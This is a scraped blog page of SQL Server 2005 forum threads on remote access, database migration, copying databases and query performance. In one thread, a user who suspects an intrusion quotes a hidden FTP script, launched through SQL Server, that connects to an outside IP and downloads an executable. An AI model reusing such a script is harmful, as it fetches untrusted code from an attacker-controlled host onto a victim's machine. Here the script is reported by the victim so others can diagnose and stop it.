Showing posts with label machine. Show all posts
Showing posts with label machine. Show all posts

Friday, March 30, 2012

Manage SQL Express Over Lan

Hey Everyone

I have a desktop machine and a laptop machine. Both have XP Pro. I prefer to code on my laptop, but I want to use my desktop machine as a home server/development environment because its always on. I have IIS (HTTP and FTP), .NET 2.0, my mp3 server, etc up and running just fine on my desktop.

When I'm working on an application, I access the site with VWD through a network share. It's worked great so far. What I haven't been able to do, however, is connect to the database with VWD or Management Studio Express. I don't even really know where to begin with this one. What I don't want to do is open this up to the internet. I'd like to just keep it accessible from the LAN (the database, not the website)

I'm new to database stuff, and I don't really know where to look to figure out how to do this. Basically, I want to have the same functionality with VWD or Management Studio that I would have if I was physically on the machine with the SQL Express server.

If anyone can provide some advice, I'd really appreciate it.

Thanks!

Brandon

Any advice?|||

If you develop in your laptop then just get the no deployment Developer edition so you can develop with VWD in your laptop and move only finished code to the desktop. That way Express and IIS in the desktop will be deployment testing place because you can deploy with Express in house. If you choose to get it try the link below for the SQL Server 2005 developer edition. Hope this helps.

http://www.provantage.com/microsoft-e32-00575~7MCSB0EX.htm

|||

Thanks for the post!

Sorry. What I said was very vague.

I prefer to write code on my laptop, but the code is actually stored on my desktop. I access it from my laptop with a network share. I don't want my laptop to run IIS or SQL, that's what I want the desktop to do. So far, everything is working great. My desktop has IIS and SQL running very well. The problem is that I don't know how to work on the databases from my laptop. I can access the application code on my desktop through a network share, but I don't know how to access the SQL Server on my desktop.

Any ideas?

|||

If SQL Server is not in your laptop it is remote so you have to configure remote connection and if you don't have Management Studio installed you need it to configure the connection. The links below will help you and I don't know about VWD your should have a datalink property. At this moment you have developed only the application layer but you need both to run your application. Hope this helps.

http://msdn.microsoft.com/vstudio/express/sql/compare/default.aspx

http://blogs.msdn.com/sqlexpress/archive/2005/05/05/415084.aspx

http://support.microsoft.com/default.aspx?scid=kb;EN-US;914277

|||You're amazing! Thank you!|||

bqmassey:

You're amazing! Thank you!

I am glad I could help.

Wednesday, March 28, 2012

Manage instances in another machine

I'm trying to manage another SQL Server 2005 instance in another machine. I'm doing this by connecting to another computer thru Computer Management. When I go the SQL Server 2005 Services, the right pane is showing There are no items to show in this view. How can I view the services?

Another problem that I have is that I have to turn off the Windows Firewall in the other machine. What exceptions are needed? I have tried by adding the specific TCP used by the instance.As far as I know the Computer management console can only adminsiter the local instances fpr Sql Server 2005.

HTH, Jens K. Suessmeyer.

http://www.sqlserver2005.de|||

Jens is right, you have to enable SQL Server remote access from the console of the server. Here's a couple relevant pages explaining how to enable remote access to SQL Server:

http://support.microsoft.com/default.aspx?scid=kb%3bEN-US%3b914277

http://www.aspcode.net/articles/l_en-US/t_default/Databases/SQL-Server/SQL-Server-2005-Expressremote-connection_article_123.aspx

Once you have remote access enabled, you can manage your server using SQL Server Management Studio from other machines.

Hope this helps,
Steve

|||

Hi Steven,

I'm following this MS article: http://msdn2.microsoft.com/en-US/library/ms190622.aspx

I can connect to the SQL Server Configuration Manager of the remote computer thru Computer Management. I can enable and disable protocols under both SQL Server 2005 Network Configuration and SQL Native Client Configuration. However, SQL Server 2005 Services will only show "There are no items to show in this view". It does not make sense to me since I can control the services thru Services but not thru SQL Server 2005 Services under SQL Server Configuration Manager.

I have disabled Windows Firewall and SQL Browser service is running.

Peter

|||If you login is a part of local administrator group on that server then using Computer Management console can do the job as it relies on the user privileges, as explained above for the SQL Configuration manager you can only manage local instances.sql

malicious process...

Hi,
Since I installed a firewall on my machine, it regularly=20
detects unexpected ftp sessions.
Thanks to a process explorer, I remarked that ftp is=20
launched from a (hidden) cmd.exe, itself lauched by=20
sql.exe (for your info, the ftp command line is : "ftp -n -
s:?.txt" where ?.txt is a textfile in \system32\ ).
What SQL subsystem is able to launch such a process? a=20
stored procedure? a trigger? (fyi, SQLAgent is not=20
running). How can I prevent this to occur?
Thank you for your help,
Fran=E7ois
Note - contents of the textfile :
=20
open 81.244.183.229 19470 =20
user itqavjflw itqavjflw =20
get SCardClnt.exe =20
quit =20Hi
xp_cmdshell or xp_oa* are capable of doing this.
Regards
--
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Fran?ois G." wrote:

> Hi,
> Since I installed a firewall on my machine, it regularly
> detects unexpected ftp sessions.
> Thanks to a process explorer, I remarked that ftp is
> launched from a (hidden) cmd.exe, itself lauched by
> sql.exe (for your info, the ftp command line is : "ftp -n -
> s:?.txt" where ?.txt is a textfile in \system32\ ).
> What SQL subsystem is able to launch such a process? a
> stored procedure? a trigger? (fyi, SQLAgent is not
> running). How can I prevent this to occur?
> Thank you for your help,
> Fran?ois
>
> Note - contents of the textfile :
> open 81.244.183.229 19470
> user itqavjflw itqavjflw
> get SCardClnt.exe
> quit
>

Monday, March 26, 2012

making copy of 6.5 database to 7 or 2000

I have a 6.5 db that I want to create a copy of, I can move it to either
a machine running 7 or 2000. I am more used to doing this in Oracle so
pls bear with me...

I don't want to have any downtime on the 6.5 db, so I'm thinking perhaps
import is the best way to go? I am assuming that 6.5 backups are not
comaptible with either 7 or 2000 restore, or I'd go that route.

The database in question is fairly simple, pretty well just tables full
of data, no stored procs...

suggestions?

TIAHi

There are significant architectural differences between 6.5 and SQL
7/2000, and as you suppose the backups are not upgradeable. This
really only leaves you with the choice of DTS or script/BCP. If you
don't want to impact the live system I suggest that you restore a
backup into a separate database, preferably on a second machine.

John

Glen A Stromquist <glen_stromquist@.no.spam.yahoo.com> wrote in message news:<Qkfob.7041$EY3.2756@.edtnps84>...
> I have a 6.5 db that I want to create a copy of, I can move it to either
> a machine running 7 or 2000. I am more used to doing this in Oracle so
> pls bear with me...
> I don't want to have any downtime on the 6.5 db, so I'm thinking perhaps
> import is the best way to go? I am assuming that 6.5 backups are not
> comaptible with either 7 or 2000 restore, or I'd go that route.
> The database in question is fairly simple, pretty well just tables full
> of data, no stored procs...
> suggestions?
> TIA|||Glen A Stromquist <glen_stromquist@.no.spam.yahoo.com> wrote in message news:<Qkfob.7041$EY3.2756@.edtnps84>...
> I have a 6.5 db that I want to create a copy of, I can move it to either
> a machine running 7 or 2000. I am more used to doing this in Oracle so
> pls bear with me...
> I don't want to have any downtime on the 6.5 db, so I'm thinking perhaps
> import is the best way to go? I am assuming that 6.5 backups are not
> comaptible with either 7 or 2000 restore, or I'd go that route.
> The database in question is fairly simple, pretty well just tables full
> of data, no stored procs...
> suggestions?
> TIA

You can't restore 6.5 databases on SQL7/2000 (you can restore a SQL7
backup on SQL2000). If the database is quite simple, though, then it
should be straightforward to use BCP/DTS to transfer the data - script
the table structures, create them on the destination server, then copy
the data. DTS will create the tables for you, in fact. Or if the
volume of data isn't large, you could even create a linked server to
the SQL6.5 server, and simply INSERT... SELECT...

Simon|||I did not trust the microsoft upgrade wiz so what I did to move sql 6.5 to
2000 was:

1. Install all the SQL 2000 servers with a common collation order -
(Latin_General I think)

2. Create the DB name on SQL 2000

3. Script the tables in 6.5 with just create & object permissions

4. Install the script on 2000 and fix the application/script for field name
problems found. (Eg fields named Percent)

5. Use DTS to take the data from 6.5 to 2000 into these tables.

6. Script just primary key, indexes, triggers, DRI.

7. Sorted out the primary keys to install first on 2000. Then install the
indexes, triggers, foreign keys.

8. Switch over the users by changing the computer names of both machine -
such that the new machine gets the old machine's name.

With tested run of the steps 1 to 7 found that I only needed 30 min down
time so I got management to approve a 60 min downtime.

"Glen A Stromquist" <glen_stromquist@.no.spam.yahoo.com> wrote in message
news:Qkfob.7041$EY3.2756@.edtnps84...
> I have a 6.5 db that I want to create a copy of, I can move it to either
> a machine running 7 or 2000. I am more used to doing this in Oracle so
> pls bear with me...
> I don't want to have any downtime on the 6.5 db, so I'm thinking perhaps
> import is the best way to go? I am assuming that 6.5 backups are not
> comaptible with either 7 or 2000 restore, or I'd go that route.
> The database in question is fairly simple, pretty well just tables full
> of data, no stored procs...
> suggestions?
> TIA|||Hi

A couple of extras..

I would suggest that you keep your code in souce code control.
I would use BCP instead of DTS as you can recover/re-run from intermediate
stages.

John

"IanT" <IanNoSpam@.NoSpam.com.au> wrote in message
news:bo0doc$i2m$1@.perki.connect.com.au...
> I did not trust the microsoft upgrade wiz so what I did to move sql 6.5 to
> 2000 was:
> 1. Install all the SQL 2000 servers with a common collation order -
> (Latin_General I think)
> 2. Create the DB name on SQL 2000
> 3. Script the tables in 6.5 with just create & object permissions
> 4. Install the script on 2000 and fix the application/script for field
name
> problems found. (Eg fields named Percent)
> 5. Use DTS to take the data from 6.5 to 2000 into these tables.
> 6. Script just primary key, indexes, triggers, DRI.
> 7. Sorted out the primary keys to install first on 2000. Then install the
> indexes, triggers, foreign keys.
> 8. Switch over the users by changing the computer names of both machine -
> such that the new machine gets the old machine's name.
>
> With tested run of the steps 1 to 7 found that I only needed 30 min down
> time so I got management to approve a 60 min downtime.
>
>
> "Glen A Stromquist" <glen_stromquist@.no.spam.yahoo.com> wrote in message
> news:Qkfob.7041$EY3.2756@.edtnps84...
> > I have a 6.5 db that I want to create a copy of, I can move it to either
> > a machine running 7 or 2000. I am more used to doing this in Oracle so
> > pls bear with me...
> > I don't want to have any downtime on the 6.5 db, so I'm thinking perhaps
> > import is the best way to go? I am assuming that 6.5 backups are not
> > comaptible with either 7 or 2000 restore, or I'd go that route.
> > The database in question is fairly simple, pretty well just tables full
> > of data, no stored procs...
> > suggestions?
> > TIA

Making changes to SSIS packages

Hello,

I created a SSIS project with some SSIS packages within my local machine. Once all development and testing stuff was finished I imported the same to SSIS package store within Integration services. Then I created another test folder within my local machine and copied all the packages along with the project .sln file to that test folder.

Now the problem, If I make any changes to the package within test folder it automatically saves the changes to my other folder. Does anybody have a reason why it is doing so.

Thank You

Jatin

I'm guessing its because the solution still contains a reference to the original .dtsx file.

-Jamie

|||

Jamie,

Thank you, I got the problem.

|||

Yes that would be my thought too.

While in the new/copied solution, click on each package name in the solution explorer and view the 'Full Path' property and verify they are what you think. Another place I have burned myself is copying a solution with parent packages calling children packages....and forgetting to update the connection manager used by the ExecutePackage task to point to the new child rather than the old child...mmm sounds a bit like a soap opera.

hope that helps.

Wednesday, March 21, 2012

makeing a db backup for transport

I have a production machine and a development machine.. I need to have a
copy of the SQL database to follow me around with the laptop development
machine, what is the best wat to make a copy of the production db onto the
laptop system? just importaing data with EM or is there some process that is
easier? (the dev machine has MSDE on it instead of sql server 2000 like the
production one has)"Brian Henry" <brianiup@.adelphia.net> wrote in message
news:OMocDNnjDHA.3612@.TK2MSFTNGP11.phx.gbl...
> I have a production machine and a development machine.. I need to have a
> copy of the SQL database to follow me around with the laptop development
> machine, what is the best wat to make a copy of the production db onto the
> laptop system? just importaing data with EM or is there some process that
is
> easier? (the dev machine has MSDE on it instead of sql server 2000 like
the
> production one has)
There are a couple of ways to do this...
- you could take a BACKUP of the production database and RESTORE to your
laptop.
- you could use the sp_detach_db to temporarily detach the database from the
production server, copy the files to your laptop, then use sp_attach_db to
re-attach the database on your server and laptop (see BOL for more details
on the syntax).
Steve|||An easier way is to stop the SQL server for a moment copy the files to the
laptop and attach these files to the SQL server instance on the laptop.
Invoking the sp_detach_db is not required.
Majid
"Steve Thompson" <SteveThompson@.nomail.please> wrote in message
news:u5OlZbnjDHA.2444@.TK2MSFTNGP09.phx.gbl...
> "Brian Henry" <brianiup@.adelphia.net> wrote in message
> news:OMocDNnjDHA.3612@.TK2MSFTNGP11.phx.gbl...
> > I have a production machine and a development machine.. I need to have a
> > copy of the SQL database to follow me around with the laptop development
> > machine, what is the best wat to make a copy of the production db onto
the
> > laptop system? just importaing data with EM or is there some process
that
> is
> > easier? (the dev machine has MSDE on it instead of sql server 2000 like
> the
> > production one has)
> There are a couple of ways to do this...
> - you could take a BACKUP of the production database and RESTORE to your
> laptop.
> - you could use the sp_detach_db to temporarily detach the database from
the
> production server, copy the files to your laptop, then use sp_attach_db to
> re-attach the database on your server and laptop (see BOL for more details
> on the syntax).
> Steve
>|||> Invoking the sp_detach_db is not required.
Attach is only guaranteed if you actually detached first. It might work even if you just "picked up
the files", but if you check BOL you find that BOL explicitly say that you should detach first.
--
Tibor Karaszi, SQL Server MVP
Archive at: http://groups.google.com/groups?oi=djq&as ugroup=microsoft.public.sqlserver
"Majid" <majid@.dynatechsolution.com> wrote in message news:uqCUvKGkDHA.4008@.TK2MSFTNGP11.phx.gbl...
> An easier way is to stop the SQL server for a moment copy the files to the
> laptop and attach these files to the SQL server instance on the laptop.
> Invoking the sp_detach_db is not required.
> Majid
>
> "Steve Thompson" <SteveThompson@.nomail.please> wrote in message
> news:u5OlZbnjDHA.2444@.TK2MSFTNGP09.phx.gbl...
> > "Brian Henry" <brianiup@.adelphia.net> wrote in message
> > news:OMocDNnjDHA.3612@.TK2MSFTNGP11.phx.gbl...
> > > I have a production machine and a development machine.. I need to have a
> > > copy of the SQL database to follow me around with the laptop development
> > > machine, what is the best wat to make a copy of the production db onto
> the
> > > laptop system? just importaing data with EM or is there some process
> that
> > is
> > > easier? (the dev machine has MSDE on it instead of sql server 2000 like
> > the
> > > production one has)
> >
> > There are a couple of ways to do this...
> >
> > - you could take a BACKUP of the production database and RESTORE to your
> > laptop.
> > - you could use the sp_detach_db to temporarily detach the database from
> the
> > production server, copy the files to your laptop, then use sp_attach_db to
> > re-attach the database on your server and laptop (see BOL for more details
> > on the syntax).
> >
> > Steve
> >
> >
>

Monday, March 12, 2012

Make a same copy of SQL Server to a new machine

Dear all,
Since my old server's harddisk drive nearly used up all the free
space, I need to copy it from new server. Can I simply copy all the dat and
log files to new server without detach it provided that there're no user
using it and after that I attach them back to new sql server? I'm afraid in
case there're something go wrong in my new server and I can still use the
old server. And how can I transfer my logins to new server? I read some
articles that it may has orphan users if without transferring them. Or if
anyone knows the proper procedures on coping data into new server. Please
help. Thanks
Best Rdgs
EllisSee if this helps: http://vyaskn.tripod.com/moving_sql_server.htm
--
Vyas, MVP (SQL Server)
SQL Server Articles and Code Samples @. http://vyaskn.tripod.com/
"Ellis Yu" <ellis.yu@.transfield.com> wrote in message
news:ezwt5MlvEHA.3228@.TK2MSFTNGP12.phx.gbl...
> Dear all,
> Since my old server's harddisk drive nearly used up all the free
> space, I need to copy it from new server. Can I simply copy all the dat
and
> log files to new server without detach it provided that there're no user
> using it and after that I attach them back to new sql server? I'm afraid
in
> case there're something go wrong in my new server and I can still use the
> old server. And how can I transfer my logins to new server? I read some
> articles that it may has orphan users if without transferring them. Or if
> anyone knows the proper procedures on coping data into new server. Please
> help. Thanks
> Best Rdgs
> Ellis
>

Make a same copy of SQL Server to a new machine

Dear all,
Since my old server's harddisk drive nearly used up all the free
space, I need to copy it from new server. Can I simply copy all the dat and
log files to new server without detach it provided that there're no user
using it and after that I attach them back to new sql server? I'm afraid in
case there're something go wrong in my new server and I can still use the
old server. And how can I transfer my logins to new server? I read some
articles that it may has orphan users if without transferring them. Or if
anyone knows the proper procedures on coping data into new server. Please
help. Thanks
Best Rdgs
Ellis
See if this helps: http://vyaskn.tripod.com/moving_sql_server.htm
Vyas, MVP (SQL Server)
SQL Server Articles and Code Samples @. http://vyaskn.tripod.com/
"Ellis Yu" <ellis.yu@.transfield.com> wrote in message
news:ezwt5MlvEHA.3228@.TK2MSFTNGP12.phx.gbl...
> Dear all,
> Since my old server's harddisk drive nearly used up all the free
> space, I need to copy it from new server. Can I simply copy all the dat
and
> log files to new server without detach it provided that there're no user
> using it and after that I attach them back to new sql server? I'm afraid
in
> case there're something go wrong in my new server and I can still use the
> old server. And how can I transfer my logins to new server? I read some
> articles that it may has orphan users if without transferring them. Or if
> anyone knows the proper procedures on coping data into new server. Please
> help. Thanks
> Best Rdgs
> Ellis
>

Make a same copy of SQL Server to a new machine

Dear all,
Since my old server's harddisk drive nearly used up all the free
space, I need to copy it from new server. Can I simply copy all the dat and
log files to new server without detach it provided that there're no user
using it and after that I attach them back to new sql server? I'm afraid in
case there're something go wrong in my new server and I can still use the
old server. And how can I transfer my logins to new server? I read some
articles that it may has orphan users if without transferring them. Or if
anyone knows the proper procedures on coping data into new server. Please
help. Thanks
Best Rdgs
EllisSee if this helps: http://vyaskn.tripod.com/moving_sql_server.htm
--
Vyas, MVP (SQL Server)
SQL Server Articles and Code Samples @. http://vyaskn.tripod.com/
"Ellis Yu" <ellis.yu@.transfield.com> wrote in message
news:ezwt5MlvEHA.3228@.TK2MSFTNGP12.phx.gbl...
> Dear all,
> Since my old server's harddisk drive nearly used up all the free
> space, I need to copy it from new server. Can I simply copy all the dat
and
> log files to new server without detach it provided that there're no user
> using it and after that I attach them back to new sql server? I'm afraid
in
> case there're something go wrong in my new server and I can still use the
> old server. And how can I transfer my logins to new server? I read some
> articles that it may has orphan users if without transferring them. Or if
> anyone knows the proper procedures on coping data into new server. Please
> help. Thanks
> Best Rdgs
> Ellis
>

Make a copy of SQL DB and update/change stored procedures

Can I make a copy of my development database DEV on same SQL SERVER machine, rename it to TEST and stored procedures to be updated automatically for statements like

UPDATE [DEV].[dbo].[Company]

SET [company_name]= @.company_name

to become

UPDATE [TEST].[dbo].[Company]

SET [company_name]= @.company_name

in order not to edit each individual stored procedure for updating it ?

Hi Chris,

You would have to use SQL Query Analyzer.

USE test
GO

CREATE PROCREDURE p_company_update
@.company_id INT,
@.company_name VARCHAR(64)
AS
SET NOCOUNT ON
UPDATE company
SET company_name = @.company_name
WHERE company_id = @.company_id
GO

Good Coding!

Javier Luna
http://guydotnetxmlwebservices.blogspot.com/

|||Thanks for your message.

Friday, March 9, 2012

Major performance hit in select statement once database reaches 50,000 records

I'm running SQL Server 2005 (64bit) Evaluation Edition. I'm doing an evaluation on performance for an internal project here at work.

The machine has 2GB of RAM and is an AMD 64 running Windows XP 64 with SQL Server 2005 64 Eval

The database has about 200,000 records in the person table.

Select * from person is the statements "very simple"

The results up to 49,000 are acceptable then at 50,000 it goes into a crawl and starts returniong 100 records every 2 seconds.

Does anyone know what is going on here?

I assume you have a very good reason for sending tens of thousands of records back to a client... You may easily solve your problem by using something like a where clause.

The number of records in a table likely has little to do with the issue, more likely is that is has to do with the overall number of pages. For something like a SELECT * the very best plan you can get is a clustered index scan, providing you have a clustered index. Barring the presence of a clustered index you'll see a table scan.

Either one of these plans are going to generate a substantial amount of disk IO. On a machine with 2GB of ram the maximum size for data cache will be around 1.6GB, my guess is that your table exceeds that size and this simple query is creating a great deal of activity on your disk drives.

Another issue is going to be concurrency. For a SELECT * you might well be attempting to acquire a table lock up front.

Start by getting the query plan for your statement. You can do that with either SET STATISTICS PROFILE ON or SET STATISTICS XML ON.

You should also have a look at the amount of disk IO generated by the query, and the performance of your disk drives.

SET STATISTICS IO ON and SET STATISTICS TIME ON will help out there, and you'll need to start perfmon and have a look at the physical disk counters for avg disk sec/read, avg disk sec/write, avg disk sec/transfer for the drives where your data and log files are located. Anything over 10ms is cause for concern.

Be sure to try from different clients as well to rule out any client issues.

|||

Thank you for the input. I ran it again with your recommendations and yes my Disk Write is max'd out completley. The table has 174,000 records of sample data and the query took 1Hour and 29Minutes.

Here is what I got back from prefixing my SQL Select Statement:

SET STATISTICS PROFILE ON

SET STATISTICS IO ON

SET STATISTICS TIME ON

select * from consultants;

174511 1 select * from consultants; 1 1 0 NULL NULL NULL NULL 174511 NULL NULL NULL 20.51673 NULL NULL SELECT 0 NULL


174511 1 |--Clustered Index Scan(OBJECT:([NewRR].[dbo].[Consultants].[aaaaaConsultants_PK])) 1 2 1 Clustered Index Scan Clustered Index Scan OBJECT:([NewRR].[dbo].[Consultants].[aaaaaConsultants_PK]) [NewRR].[dbo].[Consultants].[ConsIntID], [NewRR].[dbo].[Consultants].[ConsultantID], [NewRR].[dbo].[Consultants].[Title], [NewRR].[dbo].[Consultants].[FirstName], [NewRR].[dbo].[Consultants].[MiddleName], [NewRR].[dbo].[Consultants].[LastName], [NewRR].[dbo].[Consultants].[Suffix], [NewRR].[dbo].[Consultants].[NickName], [NewRR].[dbo].[Consultants].[DisplayName], [NewRR].[dbo].[Consultants].[CompanyName], [NewRR].[dbo].[Consultants].[Available], [NewRR].[dbo].[Consultants].[AvailabilityDate], [NewRR].[dbo].[Consultants].[AvailabilityNotice], [NewRR].[dbo].[Consultants].[JobTitle], [NewRR].[dbo].[Consultants].[PrimarySkills], [NewRR].[dbo].[Consultants].[SecondarySkills], [NewRR].[dbo].[Consultants].[OtherSkills], [NewRR].[dbo].[Consultants].[TotalExp], [NewRR].[dbo].[Consultants].[USExp], [NewRR].[dbo].[Consultants].[CommSkills], [NewRR].[dbo].[Consultants].[Rate], [NewRR].[dbo].[Consultants].[Relocation], [NewRR].[dbo].[Consultants].[ResumeDir], [NewRR].[dbo].[Consultants].[ResumeFile], [NewRR].[dbo].[Consultants].[ModifiedResumeDir], [NewRR].[dbo].[Consultants].[ModifiedResumeFile], [NewRR].[dbo].[Consultants].[ResumeWebPath], [NewRR].[dbo].[Consultants].[ReferredBy], [NewRR].[dbo].[Consultants].[Summary], [NewRR].[dbo].[Consultants].[AdditionalInfo], [NewRR].[dbo].[Consultants].[XMLResume], [NewRR].[dbo].[Consultants].[SSN], [NewRR].[dbo].[Consultants].[VisaStatus], [NewRR].[dbo].[Consultants].[VisaExpiryDate], [NewRR].[dbo].[Consultants].[Address1], [NewRR].[dbo].[Consultants].[Address2], [NewRR].[dbo].[Consultants].[Address3], [NewRR].[dbo].[Consultants].[City], [NewRR].[dbo].[Consultants].[State], [NewRR].[dbo].[Consultants].[ZipCode], [NewRR].[dbo].[Consultants].[Country], [NewRR].[dbo].[Consultants].[HomePhone], [NewRR].[dbo].[Consultants].[WorkPhone], [NewRR].[dbo].[Consultants].[MobilePhone], [NewRR].[dbo].[Consultants].[Fax], [NewRR].[dbo].[Consultants].[EMail1], [NewRR].[dbo].[Consultants].[EMail2], [NewRR].[dbo].[Consultants].[Salary], [NewRR].[dbo].[Consultants].[SalaryReviewDate], [NewRR].[dbo].[Consultants].[BonusAmount], [NewRR].[dbo].[Consultants].[BonusAmountDate], [NewRR].[dbo].[Consultants].[DOE], [NewRR].[dbo].[Consultants].[DOT], [NewRR].[dbo].[Consultants].[DOB], [NewRR].[dbo].[Consultants].[DOM], [NewRR].[dbo].[Consultants].[SpouseName], [NewRR].[dbo].[Consultants].[EmergencyContactName], [NewRR].[dbo].[Consultants].[EmergencyPhone], [NewRR].[dbo].[Consultants].[Notes], [NewRR].[dbo].[Consultants].[Archived], [NewRR].[dbo].[Consultants].[SendInHotList], [NewRR].[dbo].[Consultants].[Employee], [NewRR].[dbo].[Consultants].[JobType], [NewRR].[dbo].[Consultants].[Categories], [NewRR].[dbo].[Consultants].[Groups], [NewRR].[dbo].[Consultants].[Owners], [NewRR].[dbo].[Consultants].[EmployeeNumber], [NewRR].[dbo].[Consultants].[OnHold], [NewRR].[dbo].[Consultants].[OnHoldTill], [NewRR].[dbo].[Consultants].[VacationDays], [NewRR].[dbo].[Consultants].[SickDays], [NewRR].[dbo].[Consultants].[TableHolidays], [NewRR].[dbo].[Consultants].[FloatHolidays], [NewRR].[dbo].[Consultants].[LinkToIntID], [NewRR].[dbo].[Consultants].[UserIDs], [NewRR].[dbo].[Consultants].[Private], [NewRR].[dbo].[Consultants].[CreateDate], [NewRR].[dbo].[Consultants].[EditDate], [NewRR].[dbo].[Consultants].[MergeDate], [NewRR].[dbo].[Consultants].[UserField1], [NewRR].[dbo].[Consultants].[UserField2], [NewRR].[dbo].[Consultants].[UserField3], [NewRR].[dbo].[Consultants].[UserField4], [NewRR].[dbo].[Consultants].[UserField5], [NewRR].[dbo].[Consultants].[UserField6], [NewRR].[dbo].[Consultants].[UserField7], [NewRR].[dbo].[Consultants].[UserField8], [NewRR].[dbo].[Consultants].[UserField9], [NewRR].[dbo].[Consultants].[UserField10], [NewRR].[dbo].[Consultants].[Field1], [NewRR].[dbo].[Consultants].[Field2], [NewRR].[dbo].[Consultants].[Field3], [NewRR].[dbo].[Consultants].[uuManager], [NewRR].[dbo].[Consultants].[uuResumeText], [NewRR].[dbo].[Consultants].[uuResponsibilites], [NewRR].[dbo].[Consultants].[uuStartDate], [NewRR].[dbo].[Consul.. 174511 20.32461 0.1921191 7222 20.51673 [NewRR].[dbo].[Consultants].[ConsIntID], [NewRR].[dbo].[Consultants].[ConsultantID], [NewRR].[dbo].[Consultants].[Title], [NewRR].[dbo].[Consultants].[FirstName], [NewRR].[dbo].[Consultants].[MiddleName], [NewRR].[dbo].[Consultants].[LastName], [NewRR].[dbo].[Consultants].[Suffix], [NewRR].[dbo].[Consultants].[NickName], [NewRR].[dbo].[Consultants].[DisplayName], [NewRR].[dbo].[Consultants].[CompanyName], [NewRR].[dbo].[Consultants].[Available], [NewRR].[dbo].[Consultants].[AvailabilityDate], [NewRR].[dbo].[Consultants].[AvailabilityNotice], [NewRR].[dbo].[Consultants].[JobTitle], [NewRR].[dbo].[Consultants].[PrimarySkills], [NewRR].[dbo].[Consultants].[SecondarySkills], [NewRR].[dbo].[Consultants].[OtherSkills], [NewRR].[dbo].[Consultants].[TotalExp], [NewRR].[dbo].[Consultants].[USExp], [NewRR].[dbo].[Consultants].[CommSkills], [NewRR].[dbo].[Consultants].[Rate], [NewRR].[dbo].[Consultants].[Relocation], [NewRR].[dbo].[Consultants].[ResumeDir], [NewRR].[dbo].[Consultants].[ResumeFile], [NewRR].[dbo].[Consultants].[ModifiedResumeDir], [NewRR].[dbo].[Consultants].[ModifiedResumeFile], [NewRR].[dbo].[Consultants].[ResumeWebPath], [NewRR].[dbo].[Consultants].[ReferredBy], [NewRR].[dbo].[Consultants].[Summary], [NewRR].[dbo].[Consultants].[AdditionalInfo], [NewRR].[dbo].[Consultants].[XMLResume], [NewRR].[dbo].[Consultants].[SSN], [NewRR].[dbo].[Consultants].[VisaStatus], [NewRR].[dbo].[Consultants].[VisaExpiryDate], [NewRR].[dbo].[Consultants].[Address1], [NewRR].[dbo].[Consultants].[Address2], [NewRR].[dbo].[Consultants].[Address3], [NewRR].[dbo].[Consultants].[City], [NewRR].[dbo].[Consultants].[State], [NewRR].[dbo].[Consultants].[ZipCode], [NewRR].[dbo].[Consultants].[Country], [NewRR].[dbo].[Consultants].[HomePhone], [NewRR].[dbo].[Consultants].[WorkPhone], [NewRR].[dbo].[Consultants].[MobilePhone], [NewRR].[dbo].[Consultants].[Fax], [NewRR].[dbo].[Consultants].[EMail1], [NewRR].[dbo].[Consultants].[EMail2], [NewRR].[dbo].[Consultants].[Salary], [NewRR].[dbo].[Consultants].[SalaryReviewDate], [NewRR].[dbo].[Consultants].[BonusAmount], [NewRR].[dbo].[Consultants].[BonusAmountDate], [NewRR].[dbo].[Consultants].[DOE], [NewRR].[dbo].[Consultants].[DOT], [NewRR].[dbo].[Consultants].[DOB], [NewRR].[dbo].[Consultants].[DOM], [NewRR].[dbo].[Consultants].[SpouseName], [NewRR].[dbo].[Consultants].[EmergencyContactName], [NewRR].[dbo].[Consultants].[EmergencyPhone], [NewRR].[dbo].[Consultants].[Notes], [NewRR].[dbo].[Consultants].[Archived], [NewRR].[dbo].[Consultants].[SendInHotList], [NewRR].[dbo].[Consultants].[Employee], [NewRR].[dbo].[Consultants].[JobType], [NewRR].[dbo].[Consultants].[Categories], [NewRR].[dbo].[Consultants].[Groups], [NewRR].[dbo].[Consultants].[Owners], [NewRR].[dbo].[Consultants].[EmployeeNumber], [NewRR].[dbo].[Consultants].[OnHold], [NewRR].[dbo].[Consultants].[OnHoldTill], [NewRR].[dbo].[Consultants].[VacationDays], [NewRR].[dbo].[Consultants].[SickDays], [NewRR].[dbo].[Consultants].[TableHolidays], [NewRR].[dbo].[Consultants].[FloatHolidays], [NewRR].[dbo].[Consultants].[LinkToIntID], [NewRR].[dbo].[Consultants].[UserIDs], [NewRR].[dbo].[Consultants].[Private], [NewRR].[dbo].[Consultants].[CreateDate], [NewRR].[dbo].[Consultants].[EditDate], [NewRR].[dbo].[Consultants].[MergeDate], [NewRR].[dbo].[Consultants].[UserField1], [NewRR].[dbo].[Consultants].[UserField2], [NewRR].[dbo].[Consultants].[UserField3], [NewRR].[dbo].[Consultants].[UserField4], [NewRR].[dbo].[Consultants].[UserField5], [NewRR].[dbo].[Consultants].[UserField6], [NewRR].[dbo].[Consultants].[UserField7], [NewRR].[dbo].[Consultants].[UserField8], [NewRR].[dbo].[Consultants].[UserField9], [NewRR].[dbo].[Consultants].[UserField10], [NewRR].[dbo].[Consultants].[Field1], [NewRR].[dbo].[Consultants].[Field2], [NewRR].[dbo].[Consultants].[Field3], [NewRR].[dbo].[Consultants].[uuManager], [NewRR].[dbo].[Consultants].[uuResumeText], [NewRR].[dbo].[Consultants].[uuResponsibilites], [NewRR].[dbo].[Consultants].[uuStartDate], [NewRR].[dbo].[Consul.. NULL PLAN_ROW 0 1

Any guidance would be appreciated.

|||

Well - that certainly is a wide table. Again I assume you have a good reason to send back tens of thousands of rows to a client. If this is for a performance test, I hope this is not indicative of how the application is written.

Since you already have a clustered index scan in the plan the only thing that might help you out here is to defrag the index, assuming you have not already done so.

I find it odd that your disk writes are impacted. There should be no write activity at all generated by SQL Server during execution of this statement, if you have writes then you need to find out what is using your drive and stop it.

I'm really curious about the client though, it seems that results should start flowing immediately. Can you replicate this same behavior from SQLCMD and managment studio?

|||Perhaps it is spooling to tempdb?|||How do u know the disk size is max out

Major performance hit in select statement once database reaches 50,000 records

I'm running SQL Server 2005 (64bit) Evaluation Edition. I'm doing an evaluation on performance for an internal project here at work.

The machine has 2GB of RAM and is an AMD 64 running Windows XP 64 with SQL Server 2005 64 Eval

The database has about 200,000 records in the person table.

Select * from person is the statements "very simple"

The results up to 49,000 are acceptable then at 50,000 it goes into a crawl and starts returniong 100 records every 2 seconds.

Does anyone know what is going on here?

